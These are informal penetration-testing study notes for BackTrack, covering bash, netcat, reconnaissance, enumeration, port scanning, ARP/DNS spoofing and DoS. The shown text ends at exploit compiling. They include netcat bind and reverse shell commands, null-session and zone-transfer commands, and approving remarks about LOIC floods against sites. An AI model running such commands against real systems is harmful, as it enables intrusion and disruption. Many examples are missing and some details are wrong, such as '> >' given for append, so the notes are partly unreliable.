Table of Contents
Introduction............................................................................................................. 5
BackTrack Basics..................................................................................................... 6
XWindow............................................................................................................................................. 6
Set IP Through DHCP........................................................................................................................ 6
Set Static IP.......................................................................................................................................... 6
Start SSH Service................................................................................................................................ 6
Start Apache Service........................................................................................................................... 7
Start TFTP Service.............................................................................................................................. 7
Starting VNC Service.......................................................................................................................... 7
Checking Open Ports.......................................................................................................................... 7
Bash Basics............................................................................................................... 7
Commands........................................................................................................................................... 7
Special Characters............................................................................................................................... 8
Asterisk............................................................................................................................................. 8
Question Mark.................................................................................................................................. 8
Arrows.............................................................................................................................................. 9
Double Arrows................................................................................................................................. 9
Pipe................................................................................................................................................... 9
Grep...................................................................................................................................................... 9
Cut...................................................................................................................................................... 10
Sort..................................................................................................................................................... 10
Scripting............................................................................................................................................. 10
Netcat...................................................................................................................... 10
Netcat Client Connection.................................................................................................................. 10
Netcat Server Connection................................................................................................................. 10
Bind Shells.......................................................................................................................................... 11
Reverse Shells..................................................................................................................................... 11
Netcat vs. nc.traditional..................................................................................................................... 11
Wireshark............................................................................................................... 11
Using................................................................................................................................................... 11
The TCP “3-Way Handshake” (Getting a Website)....................................................................... 12
Filters.................................................................................................................................................. 12
Password Grabbing........................................................................................................................... 12
Reconnaissance ..................................................................................................... 12
Google................................................................................................................................................. 13
Google Symbols.................................................................................................................................. 13
Quotes............................................................................................................................................. 13
Asterisk........................................................................................................................................... 14
Minus.............................................................................................................................................. 14
Google Operators............................................................................................................................... 14
intitle............................................................................................................................................... 14
inurl................................................................................................................................................. 14
site................................................................................................................................................... 14
cache............................................................................................................................................... 14
“Evil” Google Searches..................................................................................................................... 15
Google Dorks..................................................................................................................................... 15
Service Enumeration.............................................................................................. 15
Whois Enumeration.......................................................................................................................... 15
DNS Server Enumeration................................................................................................................. 15
Host Lookup...................................................................................................................................... 16
Reverse Host Lookup........................................................................................................................ 16
DNS Zone Transfers.......................................................................................................................... 16
SNMP Enumeration.......................................................................................................................... 16
SMTP Enumeration.......................................................................................................................... 17
OS Fingerprinting............................................................................................................................. 17
NetBIOS Enumeration...................................................................................................................... 17
Active Directory Enumeration......................................................................................................... 17
SMB Enumeration............................................................................................................................ 17
Windows Null Sessions.................................................................................................................. 17
enum4linux..................................................................................................................................... 18
smb-enum-users.............................................................................................................................. 18
smb-enum-shares............................................................................................................................ 18
Maltego................................................................................................................... 18
Port Scanning........................................................................................................ 18
Theory................................................................................................................................................ 18
Types................................................................................................................................................... 18
Problems............................................................................................................................................. 19
Ping Assumptions........................................................................................................................... 19
UDP Scans Problems...................................................................................................................... 19
nmap................................................................................................................................................... 20
NSE................................................................................................................................................ 20
zenmap............................................................................................................................................... 20
Unicorn Scan..................................................................................................................................... 20
autoscan.............................................................................................................................................. 21
ARP Spoofing........................................................................................................ 21
Theory................................................................................................................................................ 21
Limitations......................................................................................................................................... 21
Ettercap.............................................................................................................................................. 22
DNS Spoofing.................................................................................................................................... 22
SSLStrip............................................................................................................................................. 22
OS Vulnerabilities................................................................................................... 23
Vulnerability Assessment................................................................................................................... 23
Web Server Vulnerabilities............................................................................................................... 23
Database Vulnerabilities.................................................................................................................... 24
TCP Stack Vulnerabilities................................................................................................................. 24
Application Vulnerabilities................................................................................................................ 25
Denial of Service..................................................................................................... 25
Theory................................................................................................................................................ 25
Flood Attacks..................................................................................................................................... 25
Syn Flood....................................................................................................................................... 25
Mitigation for SYN Floods............................................................................................................. 25
UDP Flood...................................................................................................................................... 26
Mitigation for UDP Floods............................................................................................................. 26
ICMP Flood.................................................................................................................................... 26
Mitigation for ICMP Floods............................................................................................................ 26
Smurf Attack................................................................................................................................... 26
Mitigation for Smurf Attacks........................................................................................................... 26
Ping Of Death.................................................................................................................................... 26
Teardrop............................................................................................................................................. 26
LOIC.................................................................................................................................................. 27
SSL DoS............................................................................................................................................. 27
Exploits................................................................................................................... 27
Compiling........................................................................................................................................... 27
Resources........................................................................................................................................... 27
Remote Administration Tools................................................................................ 27
Theory................................................................................................................................................ 28
Uses..................................................................................................................................................... 28
Darkcomet.......................................................................................................................................... 28
CyberGate.......................................................................................................................................... 28
Solitude .............................................................................................................................................. 28
Cerberus............................................................................................................................................. 28
Blackshades........................................................................................................................................ 28
Metasploit............................................................................................................... 28
msfconsole.......................................................................................................................................... 28
msfcli................................................................................................................................................... 29
msfweb................................................................................................................................................ 29
msfgui................................................................................................................................................. 29
Updating Metasploit.......................................................................................................................... 29
Exploitation........................................................................................................................................ 29
Payloads............................................................................................................................................. 29
Meterpreter........................................................................................................................................ 29
Encoders............................................................................................................................................. 29
Auxiliary............................................................................................................................................. 29
Credential Collection......................................................................................................................... 29
db_autopwn....................................................................................................................................... 29
Browser Autopwn............................................................................................................................. 30
Anti-virus Bypass................................................................................................... 30
Theory................................................................................................................................................ 30
Droppers............................................................................................................................................ 30
Theory............................................................................................................................................ 30
Crypters............................................................................................................................................. 30
Theory............................................................................................................................................ 30
The Encrypter................................................................................................................................. 30
The Stub......................................................................................................................................... 31
Antis............................................................................................................................................... 31
Junk Code.......................................................................................................................................... 31
Buffer Overflows.................................................................................................... 31
Theory................................................................................................................................................ 31
Protections.......................................................................................................................................... 32
Common Attacks............................................................................................................................... 32
Problems............................................................................................................................................. 33
Fuzzers............................................................................................................................................... 33
Web Based Attacks................................................................................................. 33
Zero Frames and Zero Images......................................................................................................... 33
Command Execution......................................................................................................................... 34
Cross Site Request Forgery.............................................................................................................. 34
File Inclusion...................................................................................................................................... 34
Local............................................................................................................................................... 34
Remote............................................................................................................................................ 35
SQL Injections................................................................................................................................... 35
URL................................................................................................................................................ 35
Authentication Bypass.................................................................................................................... 36
Blind............................................................................................................................................... 37
SQLmap......................................................................................................................................... 37
Cross Site Scripting (XSS)................................................................................................................ 37
Non-Persistent................................................................................................................................. 38
Persistent......................................................................................................................................... 38
Web Based Exploitation Frameworks................................................................... 38
OWASP Mantra................................................................................................................................. 38
Port Tunneling....................................................................................................... 38
Theory................................................................................................................................................ 39
HTTP CONNECT Tunneling........................................................................................................... 39
SSL Tunneling.................................................................................................................................... 39
stunnel............................................................................................................................................. 39
SOCKS............................................................................................................................................... 40
SSH Tunneling................................................................................................................................... 40
Local............................................................................................................................................... 40
Remote............................................................................................................................................ 40
Dynamic......................................................................................................................................... 40
Tor.......................................................................................................................... 40
Theory................................................................................................................................................ 40
Installing............................................................................................................................................. 41
Using................................................................................................................................................... 41
Authentication Vulnerabilities............................................................................... 41
Theory................................................................................................................................................ 41
Problems With Networks.................................................................................................................. 41
Plain Text............................................................................................................................................ 41
Hashing Systems................................................................................................................................ 41
MD4............................................................................................................................................... 41
DES................................................................................................................................................ 41
MD5............................................................................................................................................... 42
SHA1.............................................................................................................................................. 42
NTLM............................................................................................................................................ 42
MYSQL.......................................................................................................................................... 42
Challenge Systems............................................................................................................................. 42
Uneven Algorithms............................................................................................................................ 42
Here Be Dragons............................................................................................................................... 43
Password Attacks................................................................................................... 43
Theory................................................................................................................................................ 43
Strong Vs. Weak Passwords............................................................................................................. 44
Brute Force........................................................................................................................................ 44
Dictionary........................................................................................................................................... 44
Rainbow Tables................................................................................................................................. 45
GPU Cracking................................................................................................................................... 45
Misconceptions................................................................................................................................... 45
hydra.................................................................................................................................................. 46
xhydra................................................................................................................................................ 46
medusa................................................................................................................................................ 46
ncrack................................................................................................................................................. 46
Wireless Attacks..................................................................................................... 46
Theory................................................................................................................................................ 46
WEP................................................................................................................................................... 47
WEP Cracking................................................................................................................................... 47
Cafe Latte....................................................................................................................................... 47
ARP Replay.................................................................................................................................... 47
Korek's Chop Chop Attack............................................................................................................. 47
Hirte Attack..................................................................................................................................... 48
Fragmentation Attack...................................................................................................................... 48
WPA................................................................................................................................................... 48
WPA Cracking................................................................................................................................... 48
WPA2................................................................................................................................................. 48
WPA2 Cracking................................................................................................................................ 48
WPS.................................................................................................................................................... 48
WPS Cracking................................................................................................................................... 48
Wash............................................................................................................................................... 49
Reaver............................................................................................................................................. 49
DoS Attacks........................................................................................................................................ 49
Deauthentication Attacks................................................................................................................ 49
Man In The Middle........................................................................................................................... 49
Social Engineering................................................................................................. 49
Introduction
This resource is a collection of notes that I took over the
past year relating to the subject of computer security. This note collection
will not teach you by itself. It is meant to be more of a refresher, guide, and
quick resource to help people learn.
To use this please install BackTrack. Most of the tools are
already installed and will make your life a whole lot easier.
I would also suggest brushing up on your Linux skills as they
will be used heavily in this.
If you like this document, please help support the author and
donate to him. The author needs to eat too. If you have any questions, my
contacts are as follows.
Email – napalmfire.df@gmail.com
Skype – napalmfiredf
BackTrack Basics
BackTrack normally starts in command line mode.
The default log-in is
•
User: root
•
Pass: toor
XWindow
To begin using BackTrack we must start the GUI.
This will start KDE or GNOME depending on the version,
however not all tools are GUI based, use Konsole for all tools. The /pentest/
directory has all the tools you will need.
Set IP Through DHCP
However in BT4 you must first install dhcpcd on new
installations using apt-get install dhcpcd.
Set Static IP
•
ifconfig [interface] [ip]/24
•
route add default gw [gateway]
•
echo nameserver [gateway] > /etc/resolv.conf
Start SSH Service
Go to Start → Services → SSH → Setup SSH
This will generate SSH keys and start service.
SSH port is 22.
Start Apache Service
Go to Start → Services → HTTPD → Start HTTPD
HTTPD port is 80
Start TFTP Service
•
tftpd –daemon –port 69 /tmp/
or Start → Services → TFTP → Start TFTP - TFTP port is 69
Starting VNC Service
or Start → Services → VNC → Start VNC
VNC port is 5901 (Add +1 to port for every new connection)
Checking Open Ports
•
netstat
-ant | grep [port]
Netstat searches for open ports on host and grep filters
results.
Bash Basics
BASH or the Bourne Again Shell is the terminal on which most
Linux computers operate. This lets us pass commands directly to the OS,
allowing us greater control and access.
Commands
The basic structure of a command:
•
command argument argument argument
Here the command command is run, using argument as it's
argument. A command is the program being run, an argument is the data that the
user wishes to pass to that program. Not all programs need to receive data,
some do one shot functions.
An example of a useful command:
This runs the program “cat” and tells it to open emails.txt.
Another thing to be wary of is switches. Switches usually
have a “-” or “--” in front. These are used to tell the program to operate a
certain way, or to denote a specific field of input.
Consider:
•
nmap -sV -sS 192.168.0.1
This line runs the program “nmap” and tells it to use the -sV
and -sS functions in nmap on the IP 192.168.0.1.
Another example:
•
cut -d” “ -f3 emails.txt
This would invoke the program”cut” and tell the program to
use the -d with “ “ as an argument. It also tells it to use -f and send “3” as
an argument to -f.
Special Characters
Certain characters has special meanings in BASH and are very
useful to us when dealing with large amounts of data.
Asterisk
Asterisks are a character that replaces itself with all
possible entries for a file. For instance, consider this directory listing.
•
email-jodie.txt
•
email-sam.txt
•
email-unwanted.pdf
•
junk.txt
•
morejunk.txt
Lets say we want to cat all the text files with email in the
name. We could go through and cat them one by one but, that would take too
long. So instead we use the asterisk to fill in all possibilities.
While this would cat the files we did want, it will also cat
email-unwanted.pdf because it was in our range of text. Let's try again, this
time limiting it only to text files.
This would cat only the files we want, ensuring no extra
worthless data gets into our search.
Alternatively an even easier way to do this would to use:
This would do the same exact thing, in much less characters.
Question Mark
Similar to the asterisk, however, limited to one character.
Consider this directory listing:
cats1.txt
cats2.txt
cats3.txt
cats1-backup.txt
cats2-backup.txt
cats3-backup.txt
Our goal is to cat all the files that aren't backups. If we
were to use the star in this situation, it would return all the results, so we
can use a question mark to search for files with only one letter from what we
need.
Arrows
Arrows, sometimes refereed to as tacs. are used to write and
read to a file from a command. For example, lets say that you wish to save the
output of a program into a file. You can use the arrow to write that output
directly to it, making your life easier.
•
nmap 192.168.0.1 > file.txt
Here we take the output of nmap and stuff it into file.txt,
allowing us to save the results of our scan. When doing this, if the file
previously existed, it erases all the
data in the file before adding the new data.
We can also read input from files.
This would send the contents of ip.txt into the cut program.
Double Arrows
Double arrows, sometimes referred to as tac-tacs, are used to
add data to an already existing file.
For example, lets say you wanted to add the result of a new
nmap scan to a file you already created.
•
nmap 192.168.0.1 > >file.txt
This would append to the file.
Pipe
The pipe is an extremely useful character and, is very useful
for text manipulation, among other things. Pipe takes the output of one program
and uses it as input for another.
For example:
•
nmap 192.168.0.1 | grep “smb”
This would run nmap and then, send the output to grep to use
how it pleases. This can be useful for handling huge lines of text (which we
will see later when talking about cut and sort)
Grep
Grep is a program that will search text for a specific
pattern, and then output only the lines which contain the pattern.
For instance, lets say we have a large configuration file
and, we have an option that we need to find the value of. Using grep, we can
search the configuration file for that text, and have it display the result.
•
cat long.conf | grep “hard-to-find-value”
Cut
Cut is a program that is used to split text based on a
delimiter. This allows us to quickly get text that might be several characters
deep.
For example, examine this set of text.
Say we only want all the usernames, we could use : as a
delimiter, and specify what field we want to get, which, in this example, would
be two.
This will output:
Sort
Sort allows us to sort text but, is also has a nifty feature
that allows us to remove duplicates.
Scripting
Netcat
Netcat – A tool used to write data directly to a
TCP/UDP port. Can be in client mode or server mode.
Netcat Client Connection
This mode sets Netcat to client mode. This connects to a
server through a port defined as an argument. This allows the client to receive
and transmit data to the server.
Netcat Server Connection
This mode sets Netcat to server mode. This allows clients to
connect to that port and receive and transmit raw data.
Sending a File
•
nc -vv [ip] [port] < [file]
Receiving a File
•
nc -lvvp [port] > [file]
Bind Shells
Netcat has the ability to redirect the input and output of a
console to a TCP/UDP port. This can allow remote administration. This is called
a bind shell. This then allows a server to broadcast its shell to others.
Server
•
nc -lvvp [port] -e [shell]
As a note Linux's shell is located at /bin/bash/ while
Windows's shell is cmd.exe.
Client
Now the shell is transmitted to the client when he connects
to the server.
Reverse Shells
This works the reverse of a bind shell. This allows the
client to transmit their shell to a server. This has the same effect as the
bind shell.
Server
Client
•
nc -v [ip] [port] -e [shell]
Netcat vs. nc.traditional
In some linux enviroments, nc might already be installed.
However, this version is different from the actual version. To get the real
version of netcat, use
•
apt-get install nc.traditional
you will also have to replace nc with nc.traditional in the
before commands.
Wireshark
Wireshark is a packet sniffer which can capture packets and
display the contents of them.
Using
This will put wireshark in the background of the console.
Once loaded, it is simple to use. Just select the interface
you'd like to listen in on. Once in listening mode, Wireshark will capture all
incoming packets on that interface.
The TCP “3-Way Handshake” (Getting a Website)
Wireshark displays packets captured by the most recent packet
last. The list expands downward. Here, we can see a sample capture of the
process of making a connection and getting a webpage through HTTP.
|
#
|
Source
|
Destination
|
Protocol
|
Info
|
Description
|
|
1
|
You
|
Gateway
|
DNS
|
Standard query of host
|
You ask the gateway where the host is.
|
|
2
|
Gateway
|
You
|
DNS
|
Standard query response [ip]
|
Gateway tells you IP Address.
|
|
3
|
You
|
Host
|
TCP
|
SYN
|
1st part of 3 handshake.
|
|
4
|
Host
|
You
|
TCP
|
SYN, ACK
|
2nd part of 3 handshake.
|
|
5
|
You
|
Host
|
TCP
|
ACK
|
3rd part of 3 handshake.
|
|
6
|
You
|
Host
|
HTTP
|
GET/HTTP
|
Beginning of sending webpage
|
Filters
Filters let you exclude packets based on search patterns. For
instance, lets say you'd like to only see traffic on port 1234. Filters will
let you exclude anything that isn't on those ports.
Filters also support Boolean logic. For instance, lets say
you'd like to see port traffic on both 1234 and 4321.
•
tcp.port==1234 && tcp.port==4321
This will display both ports' traffic.
Password Grabbing
Reconnaissance
More info = Higher chance of success
Passive Reconnaissance – Stealthily gathering
information in a non-intrusive way. There is little to no chance to being
caught.
Active Reconnaissance – Gathering information in a way
that is intrusive and may be detected by an IDS. There may be a medium to high
risk of detection.
Look for:
•
Names
•
Numbers
•
Emails
•
Addresses
•
Affiliates
•
Links
•
IP addresses
•
Nameservers
•
Site Maps
Google
Google crawls a huge host of web sites, often times crawling
through poorly configured webservers. Using specific search terms we will be
able to find things about webservers or, be able to increase our attack
surface, through the information we gather here.
Some examples would be:
•
Possible SQL injections
•
Possible XSS attacks
•
Webmail logins
•
SQL Dumps
•
Administration pages
•
Web backdoors
•
Misconfigured web applications
Google Symbols
Google symbols let us refine our search options, letting us
quickly and efficiently get the data we need.
Quotes
Putting a term in quotes only displays pages with that
sequence of text. This is opposed to no quotes which will display all pages
containing part or all of the text, regardless of sequence.
Asterisk
The asterisk will fill in all possible terms for a sequence.
For instance, the asterisk here will fill in all the different types of birds
and much more, in an attempt to find your term.
Minus
•
blue foot boobies -porn
The minus excludes pages with a specified terms. For example,
this search excludes any pages with the term porn in it, since Google will
display all pages containing boobies.
Google Operators
Google has many operators that can help us narrow our search
results. Many of them will scour pages looking for the exact information we
need, others can restrict data to certain types.
intitle
The intitle operator restricts search results to only pages
that contain a pattern in the title. For example:
•
intitle:”National Geographic” Africa
The above will display result from pages that have National
Geographic in then title and also have Africa on the page. This is useful for
finding admin pages, as well as file indexs.
inurl
The inurl operator lets us restrct to search terms that are
in the URL of the result. Using this we can often find potentially vulnerable
pages or specific admin login pages.
site
The site operator lets us restrict results to that of a
specific domain. This allows us to narrow our search tom a specific target.
•
site:vulnerable.com inurl:admin.php login
cache
The cache operator lets us see the last version of a webpage
crawled by Google. By using this we can often find results of a webpage that
were deleted some time ago.
“Evil” Google Searches
I will only cover a few here, since the topic has almost endless searches. The
idea of “evil” Google searches is to find pages that are vulnerable, have
default passwords, or find caches of information.
These searches allow an attacker to search specific websites
for vulnerabilities.
For example:
Let's look for default XAMPP installs.
Google Dorks
Service Enumeration
Service Enumeration is the technique of looking for open
information about a targets ISP, nameservers, IP addresses, and running
protocols.
Whois Enumeration
Gives:
•
Web server admin
•
Numbers
•
Emails
•
Nameservers
DNS Server Enumeration
Begins DNS Lookup
Gives DNS info on specified domain
Gives Mail Exchange servers
Gives mail server IPs.
Host Lookup
Use this to get an IP address for a domain.
You can also use the -t switch to specify type of server.
Look up nameservers for a specified host.
Look up mail exchange for a specified host.
Reverse Host Lookup
This lets you take an IP and reverse it into a domain. Using
this we can often find out about the domains IP addresses are attached to.
DNS Zone Transfers
DNS zone transfers are a problem existing is misconfigured
DNS servers which, allow nameserver communication. With this, an attacker can
get the entirety of an external network handed to them by just asking for a
copy of the zone record.
We can perform these attacks using host. We first need a list
of nameservers which, can be provided by using nslookup.
•
host -l [victim url] [our url]
This will attempt a zone transfer to our own URL. If
successful, it will give us all the IP – URL match-ups for us to use, exposing
hidden subdomains to us.
This kind of attack might not always be successful and can be easily configured
to be detected/
SNMP Enumeration
Simple Network Management Protocol is a UDP based protocol
that monitors network attached devices. Its authentication method is using
public and private keys. Public keys may not have all permissions, however,
only read access is needed to enumerate. The public key is usually “public”.
•
Weak authentication system.
•
Vulnerable to IP-spoofing.
To begin using SNMP use the following command.
•
snmpwalk -c [key] -v1 [ip] 1
SMTP Enumeration
Simple Mail Transfer Protocol handles outgoing email.
Checks if user is valid.
OS Fingerprinting
OS Fingerprinting – Is the process of scanning open
ports and banner grabbing to detect the OS.
Once used you can figure out what exploits to use. Nmap
provides free OS detection.
NetBIOS Enumeration
NetBIOS – Network Basic Input Output System is a
forgotten technology that runs by default on most Windows computers. It
provided early name resolution. This task is now more commonly handled by DNS
but, NetBIOS still runs as a default service on most Windows computers.
NBTScan – Free NetBIOS scanner.
Active Directory Enumeration
Active Directory - Contains
records of users, servers, sites, and workgroups.
Every account on the system has read permissions. It uses
LDAP. Ldp.exe is commonly used to control AD. You can possibly authenticate
with a Guest or null account.
It would only take one compromise to get all the AD info.
SMB Enumeration
SMB enumeration is extremely useful as Windows runs it as a
default service. We can use this to find a list of users (Making password
cracking easier), mount remote shares and, even run executables through it.
Windows Null Sessions
A windows null session is the ability to login to a Windows
computer through SMB and view info about the computer. You do this by supplying
a null user or password. Then you can mount shares from the computer.
To use it you must use the command line in Windows.
•
net use \\share\ipc$ “” /USER: “”
If the command is successful the attacker can use the net
view command to view information about the computer such as users,
processes , services, and uptime.
You may also be able to gain C: drive access by going to Run
→ \\share\c$
enum4linux
enum4linux is a tool based off of a Windows tools called
enum.exe. It carries many of the same features and is extremely comprehensive
in it's data.
smb-enum-users
This script lets us enumerate the users on a remote Windows
computer. This script is very similar to enum.exe for Windows.
•
nmap -sS -sU --script smb-enum-users.nse -p
U:127 T:139,445 [host]
WARNING! This script has two options lsaonly and samronly.
samronly REQUIRES a real user account, not just guest. lsaonly requires only a
guest account.
smb-enum-shares
This script lets us enumerate the shares of a remote windows
computer.
Maltego
Port Scanning
Theory
Port Scanning - The technique of scanning for open ports to
ascertain information about a target computer. It is the first action to take
before attempting exploit. It is part of the information gathering phase. Can
be intrusive and detected by an IDS
Packets – Information sent over the network in smaller
chunks. Uses flags to indicate the type of packet. Flags can be mixed.
Types
|
Type
|
Meaning
|
|
Syn
|
Initial Packet(Begin handshake)
|
|
Ack
|
Acknowledgment(Reply for packet received)
|
|
Fin
|
Finish(Done with connection)
|
|
Urg
|
Urgent
|
|
Psh
|
Push
|
|
Rst
|
Reset(Sent to reset the TCP handshake)
|
TCP - Port that uses a 3-way handshake to identify
open ports and begin data transfers.
UDP - A port that uses a stateless system. If the port
is open there is no reply. If it is closed you
get an ICMP ping.
Full Scan - Completes 3-way handshake. Is intrusive
and easily detected but, reliable.
Half Scan/SYN Scan – Sends only syn packets and does
not complete the handshake. This makes it harder to detect.
UDP Scan – Scans UDP ports. However it is unreliable
because UDP is stateless. If the port is up there is no reply. If it is down
source receives an ICMP unreachable.
Stealth Scan – Uses same method as syn scan but varies
the frequency and timing and randomizes the ports scanned making it harder to
detect.
Xmas Scan – Creates a malformed packet with PSH, FIN,
and URG flags to scan a system. Doesn't work against Windows.
Ack Scan – Scanner sends ACK packets and receives a
RST packet back. This shows the attacker which ports are open.
ICMP Scan – Very detectable ping scan. Rarely used
because it is unreliable, inefficient ,and detectable.
Problems
Port scans often times are noisy and dangerous, doing one can
make you an easy target for an IDS or firewall logging system.
Ping Assumptions
In most cases, unless told not to, scanners will attempt to
ping the host before attempting a port scan. If it doesn't get a ping back the
host is considered as “not alive”. This I a false assumption in some cases and
can provide faulty scan results, telling you that computers are not alive that
actually are and are just not responding to ping probes.
UDP Scans Problems
Since UDP scans are stateless, there can be issues with the
detection process. For example, a firewall can be blocking probes to certain
ports and, you'll never know.
It could also allow the data through but, not kill the ICMP
Unreachable packet on its way out.
As a result, take UDP scans with a grain of salt, chances
are, you aren't seeing the full picture.
nmap
Nmap runs a port scan on the specified IP.
Full port scan.
OS detection
Service versions scan
Comprehensive scan
NSE
The nmap Scripting Engine is a tool which allows us to write
and use scripts to aid us in our penetration testing goals. We used a script
ealier in the SMB Enumeration section to attempt an enumeration of users on a
system.
We can see the various .nse scripts included with nmap on
their site, and we can also see them by going through the nmap scripts
directory.
We can also attempt to use all scripts using this command:
•
nmap --scripts all [ip]
zenmap
Zenmap is a nmap gui that will allow use to easily understand
the sometimes overflow of data that nmap can provide.
Unicorn Scan
A scanning tool like nmap but, has a web GUI. (See Appendix
for list of features)
autoscan
ARP Spoofing
Theory
ARP - A protocol for finding a MAC address for a host
whose IP is known. It consists of a Broadcast request phase, and a reply phase,
and a conformation phase.
ARP cache - The table containing MAC-IP match ups.
ARP Spoofing(APR) - The technique used to poison ARP
caches. A sniffer get ARP packets from a switch and proceeds to intercept them.
Then it can route all network traffic to the attacker.
1.
Host-A broadcasts on all ports . ARP Request
2. Host-B receives request and sends
back reply. ARP Reply
3. Host-A sends conformation to Host-B
By listening in a sniffer could get all the MAC-IP match-ups
on the network. by using this data we can reroute packets through our machine
and then out to the destination.
It does this by actively listening then modifying standard
ARP packets.
|
Victim Packet
|
|
|
MAC
|
IP
|
|
Source
|
Attacker
|
Gateway
|
|
Destination
|
Victim
|
Victim
|
|
Gateway Packet
|
|
Source
|
Attacker
|
Victim
|
|
Destination
|
Gateway
|
Gateway
|
Limitations
Once in the attack stage, the attacker must reroute all
traffic to the appropriate destinations while still poisoning the ARP cache.
There are 5 rules about APR attacks.
1.
APR only works on LANs.
2.
Attacker must reroute packets unless a DoS
attack is preferred.
3.
Attacker must know where to reroute packets.
4.
APR will slow down the network as you are adding
another layer to the network.
5.
APR must update constantly. If not, the computer
will delete the entries if it ARP requests an address again.
6.
An APR attack can not be done to computers
connected to the main router themselves. This is because the router is able to
intercept them before damage is done.
Also, APR attacks need to have some thought put into them.
1.
One peer may be the Internet. If this is true
you need to have the routing tables or be broadcasting.
2.
There could be multiple entrance/exits on a LAN
3.
There may be anti-APR protections.
Ettercap
Ettercap - A tool used for ARP spoofing.
Get hosts on a network
•
Hosts -> Scan for hosts
•
See list of Hosts
•
Hosts -> Hosts lists
•
Target 1 = Gateway
•
Target 2 = Victim
•
MITM->ARP Poisoning to begin APR.
DNS Spoofing
DNS Spoofing – The tactic of making a malicious zone
transfer to make a false IP-URL match-up. This is done to send a target to a
malicious website or DoS. EX: Google.com = attackers IP
1.
Run ettercap with a unified sniffer
2.
Turn on DNS spoof plugin
3.
APR
4.
Start sniffer
SSLStrip
SSLStrip is a python script which, when run in conjunction
with an ARP attack, abuses a technique used by many website hosts where, when
someone types in a URL it uses a 302 redirect or uses an SSL element embeded on
the page to move the user to HTTPS. SSLStrip will strip the HTTP out of 302
requests and pages served through HTTP.
OS Vulnerabilities
All OS have all vulnerabilities. It is a common misconception
that Windows is the only OS with holes.
Exploit – A malicious piece of code which can
compromise a systems security and give an attacker access to that computer.
They are used to penetrate and ultimately gain access to a system. They have a
broad range of payloads and can do just about anything.
Common vulnerabilities
•
Application Vulnerabilities
•
TCP Stack Overflows
•
Default permissions
•
Default security settings
The most popular, successful, and common attacks are in
default services, software, or processes that run on the computer. This is
because the software is preinstalled and usually running by default. However,
there are holes in all software and they can be taken advantage of.
Vulnerability Assessment
Vulnerabilities are security flaws in software. The are
caused by poorly written code and a lack of testing. Patches fix holes.
Unpatched systems are more vulnerable so you should always update all software.
Vulnerability scanners
•
Nessus
•
Nikito
Security Websites
•
Bugtraq
•
CVE Sites
•
Milw0rm
•
exploit-db
Web Server Vulnerabilities
Web servers are extremely vulnerable because of many reasons.
•
Permanent connection to Internet
•
Most likely firewalled
•
Easier to exploit due to poor security.
Common vulnerabilities
•
Passwords stored in plain-text or code
•
Ability to traverse directories without getting
503.
•
Ability to execute scripts
•
Ability to bypass URL Checking and return a
command prompt
•
Improperly patched and configured servers.
Database Vulnerabilities
All DB systems have holes. Database servers may be local or
remote. Might be behind a fire wall or DMZ.
Common vulnerabilities
•
Misconfigured permissions
•
bad database objects
•
SQL injection
•
Default DB passwords
•
Null accounts/null sa account
•
Vulnerable to the application they serve
•
If application is poorly written it can allow
for a compromise
TCP Stack Vulnerabilities
All OSs have this vulnerability. It is usually exploited for
DoS attacks. It can be used to get in deeper into a network.
Common Vulnerabilities
•
TCP Sequence Prediction (Session jacking)
•
TCP Window Size Overflow
•
Syn Flood
•
APR
•
DNS Poisoning (DNS Zone Transfers)
•
High Volume Attacks (Ping of Death, Smurf,
Teardrop, Botnets)
Smurf – Pinging a system with a broadcast address to
get the target to send DoS other computers.
Teardrop – Sending malformed packets with bad IP
fragments which causes an overflow on the TCP stack and cause a DoS.
Application Vulnerabilities
These vulnerabilities affect almost all software. They
usually stem from poor coding practices.
Common Vulnerabilities
•
Buffer Overflows
•
Weak Authentication
•
Poor Data Validation
•
Written with errors/poor error checking
Denial of Service
Theory
The idea is to force a victim to use so much RAM that the
computer slows to a halt, crashes, and goes offline. DoS attacks have become
very mainstream as they often require little technical knowledge and tools are
widely available.
Flood Attacks
Flood attacks are a form of DoS attack that attempts to bring
a system down by flooding it with connections. This works because for every
connection one makes, the computer must open up a slot in RAM for the connection.
As a result, the computer can become bogged down until it crashes or, stops
serving new connections.
Syn Flood
This abuses an issue in the TCP 3-way handshake, that can be
exploited by an attacker to down a service. This happens when an attacker(s) sends
many SYN requests to a server but, never replies to them. The server will wait
until a time-out on the connection is reached, keeping a slot of RAM occupied
for a specified amount of time. The attacker(s) must open enough slots in
memory before their requests start timing out or, the attack will fail.
Mitigation for SYN Floods
The best way to deal with SYN floods is SYN cookies. SYN
cookies work by sending the appropriate SYN/ACK response but, discards the SYN
packet it received, ensuring SYN floods fail. This is because SYN floods rely
on servers keeping the SYN packet for a specified period of time, so they can
fill up the queue.
Firewalls can also easily detect flood attacks as, most have
built in rules about the maximum connections one address is allowed to have.
UDP Flood
This abuses a flaw in UDP statless connections where, when no
service is listening on a port, it replies with a ICMP unreachable. As a
result, an attacker must only send large a large number of UDP packets to
different ports that are closed. As a result, the server will respond with a
large number of ICMP packets, causing the system to eventually become offline.
Mitigation for UDP Floods
Firewalls should be installed to filter out non-open ports,
causing the UDP flood to fail as the UDP packets never reach the intended host.
ICMP Flood
This attack involves sending massive amounts of ping packets
to a host, forcing a reply. The idea is similar to the previous flood attacks
as, the system must open a slot of RAM to deal with the ping.
Mitigation for ICMP Floods
ICMP floods are easily stopped by firewalls. Most firewalls
have automatic ICMP flood detection systems built in.
Smurf Attack
Smurf attacks involve spoofing source IP address to get a
system to flood another system. The system who receives the spoofed packet
believes the supplied source address is the one that sent it. As a result, this
causes the system to respond to the source address. If spammed with said
spoofed packet the server will, in turn, spam the victim.
Mitigation for Smurf Attacks
Simple firewall rules should stop this kind of attack.
Ping Of Death
This attack involves sending malformed ping packets in an
attempt to cause a crash on the victim. The crash can be either the TCP stack
or the system itself.
These attacks don't work much any more. They only tend to
work on much older systems.
Teardrop
This attack involves sending mangled IP fragments in an
attempt to cause a crash on the system. These attacks don't work much either.
However, the last documented case was in 2009 and for Windows
Vista and 7. It had to do with SMB not handling IP fragments properly.
LOIC
Low Orbit Ion Cannon or LOIC is a popular tool for flood
attacks. This tool has the ability to send TCP, UDP and ICMP floods at a
specified host.
LOIC has been used heavily by the group Anonymous, and has
helped down many unsavory sites like RIAA and MPAA.
SSL DoS
This attack has been known about since 2003 and is a flaw
regarding SSL's renegotiation feature. This allows an attacker to down a server
completely from just one connection rather than many like in traditional flood
attacks.
The hack was first made public by the THC Team.
Exploits
Exploit - A
malicious piece of code meant to compromise a system.
Compiling
Some exploits need to be compiled before use. This is because
one exploit might not fit every system. You usually must edit the code and then
compile it.
For C and C++ you must use the gcc compiler.
This will compile the code under the application name
<app>.
